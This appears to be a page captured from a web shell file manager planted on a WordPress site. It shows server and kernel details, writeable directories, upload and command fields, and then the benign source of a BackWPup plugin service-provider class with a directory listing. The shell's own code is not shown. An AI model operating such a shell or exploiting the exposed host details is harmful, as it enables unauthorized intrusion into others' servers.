GRAYBYTE WORDPRESS FILE MANAGER6086

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/trustyourlawyer.com/wp-content/plugins/backwpup/src/Adapters/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/trustyourlawyer.com/wp-content/plugins/backwpup/src/Adapters//ServiceProvider.php
<?php
declare(strict_types=1);

namespace WPMedia\BackWPup\Adapters;

use WPMedia\BackWPup\Dependencies\League\Container\ServiceProvider\AbstractServiceProvider;


/**
 * Service provider for Storage providers
 */
class ServiceProvider extends AbstractServiceProvider {
	/**
	 * Service provided by this provider
	 *
	 * @var array
	 */
	protected $provides = [

		'backwpup_adapter',
		'option_adapter',
		'backwpup_helpers_adapter',
		'job_adapter',
		'cron_adapter',
		'file_adapter',
		'job_types_adapter',
		'encryption_adapter',
	];

	/**
	 * Subscribers provided by this provider
	 *
	 * @var array
	 */
	public $subscribers = [];

	/**
	 * Check if the service provider provides a specific service.
	 *
	 * @param string $id The id of the service.
	 *
	 * @return bool
	 */
	public function provides( string $id ): bool {
		return in_array( $id, $this->provides, true );
	}

	/**
	 * Registers items with the container
	 *
	 * @return void
	 */
	public function register(): void {
		$this->getContainer()->addShared( 'option_adapter', OptionAdapter::class );
		$this->getContainer()->addShared( 'backwpup_helpers_adapter', BackWPupHelpersAdapter::class );
		$this->getContainer()->addShared( 'backwpup_adapter', BackWPupAdapter::class );
		$this->getContainer()->addShared( 'job_adapter', JobAdapter::class );
		$this->getContainer()->addShared( 'cron_adapter', CronAdapter::class );
		$this->getContainer()->addShared( 'file_adapter', FileAdapter::class );
		$this->getContainer()->addShared( 'job_types_adapter', JobTypesAdapter::class );
		$this->getContainer()->addShared( 'encryption_adapter', EncryptionAdapter::class );
	}

	/**
	 * Returns the subscribers array
	 *
	 * @return array
	 */
	public function get_subscribers() {
		return $this->subscribers;
	}
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 10 2025 04:32:37
giriqfky / giriqfky
0755
.htaccess
0.41 KB
July 10 2025 04:32:37
giriqfky / giriqfky
0644
BackWPupAdapter.php
1.266 KB
May 20 2025 11:41:24
giriqfky / giriqfky
0644
BackWPupHelpersAdapter.php
1.851 KB
May 20 2025 11:41:24
giriqfky / giriqfky
0644
CronAdapter.php
1.126 KB
May 20 2025 11:41:24
giriqfky / giriqfky
0644
EncryptionAdapter.php
0.587 KB
May 20 2025 11:41:24
giriqfky / giriqfky
0644
FileAdapter.php
0.745 KB
May 20 2025 11:41:24
giriqfky / giriqfky
0644
JobAdapter.php
2.731 KB
May 20 2025 11:41:24
giriqfky / giriqfky
0644
JobTypesAdapter.php
1.006 KB
May 20 2025 11:41:24
giriqfky / giriqfky
0644
OptionAdapter.php
2.076 KB
May 20 2025 11:41:24
giriqfky / giriqfky
0644
ServiceProvider.php
1.734 KB
May 20 2025 11:41:24
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF